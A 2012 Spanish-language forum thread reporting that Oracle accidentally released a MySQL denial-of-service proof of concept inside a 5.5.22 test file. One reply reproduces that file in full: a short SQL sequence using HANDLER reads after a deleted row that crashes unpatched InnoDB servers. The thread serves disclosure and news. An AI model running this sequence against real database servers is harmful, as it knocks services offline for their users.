Foro de elhacker.net

Foros Generales => Noticias => Mensaje iniciado por: wolfbcn en 25 Abril 2012, 15:33 pm



Título: Oracle publica por descuido una prueba de concepto para MySQL
Publicado por: wolfbcn en 25 Abril 2012, 15:33 pm
Oracle, actual propietario del software de base de datos MySQL publicó en marzo una serie de actualizaciones para la base de datos MySQL. En el boletín se anunció que se solventaban dos fallos de seguridad.

Los parches de seguridad publicados, que corrigen los errores #13510739 y #63775, carecían (y carecen de manera oficial) de detalle alguno sobre su impacto, vector, etc. Sin embargo, a pesar del escrúpulo por mantener esta información secreta, se les escapó un detalle a la hora de generar el paquete de actualización. Dentro del código fuente de la versión 5.5.22 de MySQL, el investigador Eric Romangse encontró lo que a primera vista parecía ser un archivo destinado a la realización automática de pruebas sobre la base de datos. Una vez dentro del fichero, pudo comprobar que se trataba de una prueba de concepto que conseguía provocar una denegación de servicio en el sistema de base de datos.

Según puede deducirse del código fuente, para poder explotar esta vulnerabilidad es necesario estar autenticado en el sistema y poseer los permisos necesarios para ejecutar ciertos comandos.

Las versiones afectadas por la vulnerabilidad son todas las anteriores a MySQL 5.5.22.

Más información:

Oracle accidentally release MySQL DoS proof of concept http://www.h-online.com/security/news/item/Oracle-accidentally-release-MySQL-DoS-proof-of-concept-1526146.html (http://www.h-online.com/security/news/item/Oracle-accidentally-release-MySQL-DoS-proof-of-concept-1526146.html)

D.1.3. Changes in MySQL 5.5.22 (21 March 2012) http://dev.mysql.com/doc/refman/5.5/en/news-5-5-22.html (http://dev.mysql.com/doc/refman/5.5/en/news-5-5-22.html)

MySQL Bug 13510739 http://pastebin.com/tCxNTD96 (http://pastebin.com/tCxNTD96)

FUENTE :http://www.laflecha.net/canales/seguridad/noticias/oracle-publica-por-descuido-una-prueba-de-concepto-para-mysql


Título: Re: Oracle publica por descuido una prueba de concepto para MySQL
Publicado por: WHK en 26 Abril 2012, 14:29 pm
El código del pastebin (porque normalmente ahora borran todo):

Código
  1.    mysql-test/suite/innodb/t/innodb_bug13510739.test
  2.  
  3.    #
  4.    # Bug#13510739 63775: SERVER CRASH ON HANDLER READ NEXT AFTER DELETE RECORD.
  5.    #
  6.  
  7.    -- source include/have_innodb.inc
  8.  
  9.    CREATE TABLE bug13510739 (c INTEGER NOT NULL, PRIMARY KEY (c)) ENGINE=INNODB;
  10.  
  11.    INSERT INTO bug13510739 VALUES (1), (2), (3), (4);
  12.  
  13.    DELETE FROM bug13510739 WHERE c=2;
  14.  
  15.    HANDLER bug13510739 OPEN;
  16.  
  17.    HANDLER bug13510739 READ `primary` = (2);
  18.  
  19.    # this one crashes the server IF the bug IS present
  20.    HANDLER bug13510739 READ `primary` NEXT;
  21.  
  22.    DROP TABLE bug13510739;
  23.  


Título: Re: Oracle publica por descuido una prueba de concepto para MySQL
Publicado por: radamanthys7 en 26 Abril 2012, 18:24 pm
Muy Informativo el código.

Gracias por el aporte...!!!

Saludos